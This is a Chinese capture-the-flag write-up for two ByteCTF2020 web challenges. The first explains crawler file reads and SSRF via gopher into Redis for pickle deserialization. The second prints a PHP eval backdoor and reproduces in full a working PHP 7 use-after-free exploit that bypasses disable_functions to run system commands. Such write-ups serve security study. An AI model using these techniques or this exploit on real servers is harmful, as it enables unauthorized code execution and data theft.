---
# System prepended metadata

title: ByteCTF2020

---

# ByteCTF2020

## easy_scrapy
用学长写的docker复现：https://github.com/baiyecha404/CTFWEBchallenge/tree/master/bytectf2020/easyscrapy

mogondb初始化可能有点问题，手动调一下就好了

没有web界面，自己写脚本push

原题是：

过验证码提交：只允许http/https，url存入redis，bot会去爬取，有回显

url提交：`result?url=`  可以其他协议，都会发请求，不会存入redis，无回显

复现时本地用py脚本push

![image-20201028112617691](https://gitee.com/leonsec/images/raw/master/image-20201028112617691.png)

尝试push一条url，可以发现爬虫成功爬取，并删掉redis中的缓存

![image-20201028113212929](https://gitee.com/leonsec/images/raw/master/image-20201028113212929.png)

尝试任意文件读：

```python
import redis

redis_Host = "127.0.0.1"
redis_key = 'byte:start_urls'

rediscli = redis.Redis(host = redis_Host, port = 6379, db = "0")
rediscli.lpush(redis_key, "http://ip/leon")
```

![image-20201028114630910](https://gitee.com/leonsec/images/raw/master/image-20201028114630910.png)

![image-20201028114616974](https://gitee.com/leonsec/images/raw/master/image-20201028114616974.png)

![image-20201028120854672](https://gitee.com/leonsec/images/raw/master/image-20201028120854672.png)

由上图，可以发现scrapy不止爬取了leon页面，还会顺着href属性去爬取

原题经过bot爬取的页面内容，会回显，但是只支持http和https协议，所以我们可以构造`<a href="file:///etc/passwd"></a>`

尝试读本地文件：

![image-20201028120748522](https://gitee.com/leonsec/images/raw/master/image-20201028120748522.png)

可以成功读取

走流程：

![image-20201028131429527](https://gitee.com/leonsec/images/raw/master/image-20201028131429527.png)

![image-20201028131011802](https://gitee.com/leonsec/images/raw/master/image-20201028131011802.png)

得知`/code`目录，接下来想办法读bot的文件

去翻scrapy的官方文档，找到example：https://docs.scrapy.org/en/latest/intro/examples.html

官方给了个项目：https://github.com/scrapy/quotesbot

在这里看到了scrapy爬虫的大概框架：

![image-20201028132144501](https://gitee.com/leonsec/images/raw/master/image-20201028132144501.png)

在scrapy.cfg文件中可以读到项目名称，很大可能是文件夹名称

![image-20201028132208229](https://gitee.com/leonsec/images/raw/master/image-20201028132208229.png)

于是读到了所有文件，在settings.py看到了redis内网ip，在pipelines.py看到了mongodb配置信息

有redis很容易想到ssrf打redis，在`result?url=`尝试时得知为pycurl，pycurl支持gopher协议，所以可以在此处打ssrf

![image-20201028141728411](https://gitee.com/leonsec/images/raw/master/image-20201028141728411.png)

打redis基本流程走一遍，定时任务、主从复制、写公钥，没用，想到python后端，还有redis，他们之间传数据，按照经验一般是传输pickle序列化数据，所以有可能存在pickle反序列化，写个循环push，看看redis会不会出现序列化数据，如果有方向就明确了

```python
import redis

redis_Host = "127.0.0.1"
redis_key = 'byte:start_urls'

for i in range(1,200):
    rediscli = redis.Redis(host = redis_Host, port = 6379, db = "0")
    rediscli.lpush(redis_key, "http://www.baidu.com")
```

这里要多查看几次，可以看到会出现`"byte:requests"`且类型为`zset`，我使用`lrange`查看会报`WRONGTYPE Operation against a key holding the wrong kind of value`，查了一下，https://www.cnblogs.com/jeffen/p/6091385.html，要使用`zadd`,`zrange`

![image-20201028142759941](https://gitee.com/leonsec/images/raw/master/image-20201028142759941.png)

尝试了多次，终于看到了序列化数据：

![image-20201028143931808](https://gitee.com/leonsec/images/raw/master/image-20201028143931808.png)

既然redis存了序列化数据，那么肯定存在反序列化，[HuaShuiTeam的WP](https://www.anquanke.com/post/id/220810)可以看到确实源码中有明显的序列化与反序列化

所以只需要构造gopher打redis，向`"byte:requests"`插入我们构造的payload即可

注意：

类型为`zset`，使用`zadd`添加数据

原题是get传参，gopher注意二次编码

根据之前本地看到的序列化数据，是protocol协议为2.0的pickle，并且是\x形式的16进制


## Wallbreaker 2020

两行代码日全球

```php
<?php
if(!$_REQUEST["backdoor"]) highlight_file(__FILE__);
else eval($_REQUEST["backdoor"]);
```

先看phpinfo

![image-20201029001917314](https://gitee.com/leonsec/images/raw/master/image-20201029001917314.png)

disable_functions:

```
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,ini_set,debug_backtrace,gc_collect_cycles
```

open_basedir:

```
/var/www/html/:/tmp/
```

比赛时，通用exp绕过open_basedir列目录：

```php
?backdoor=
$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {  
    $file_list[] = $f->__toString();
}
sort($file_list);  
foreach($file_list as $f){  
    echo "{$f}<br/>";
}
```

得到：

![](https://gitee.com/leonsec/images/raw/master/Rw9IPoRBGEjKlsfA.png)


由于`ini_set`,`symlink`被ban了，没法使用常用的bypass open_basedir读文件

其他bypass disable_functions的方法也不满足，没有ban`putenv()`，ban了`mail()`  `error_log() `  `imap_open()`所以总感觉方向还是ld_preload，比赛时着力研究在没有其他扩展的情况下，找到能调用新进程的函数，通过ld_preload进行bypass

但是 全部fuzz一遍后，并没有找到

尝试了其他bypass方式，如

[JSON UAF Bypass](https://github.com/mm0r1/exploits/tree/master/php-json-bypass)

[GC Bypass](https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass)

[Backtrace Bypass](https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass)

[l3mon/Bypass_Disable_functions_Shell](https://github.com/l3m0n/Bypass_Disable_functions_Shell)

都没用

赛后看到cnss打了个非预期，一看到利用方式，我就想起来，除了disable_functions，他们还ban了disable_classes

disable_classes:

```
Exception,SplDoublyLinkedList
```

然鹅[Exception](https://www.php.net/manual/zh/language.exceptions.php)类可以用[Error](https://www.php.net/manual/zh/language.errors.basics.php)类绕过，所以[Backtrace Bypass](https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass)可以用，改一下即可：

exp:

```php
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Error)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}
```

传到`/tmp`

访问：http://123.57.91.179:30085/?backdoor=include(%27/tmp/1.php%27);

![image-20201029005154109](https://gitee.com/leonsec/images/raw/master/image-20201029005154109.png)

成功绕过。。。

![image-20201029005237385](https://gitee.com/leonsec/images/raw/master/image-20201029005237385.png)



![image-20201029005304301](https://gitee.com/leonsec/images/raw/master/image-20201029005304301.png)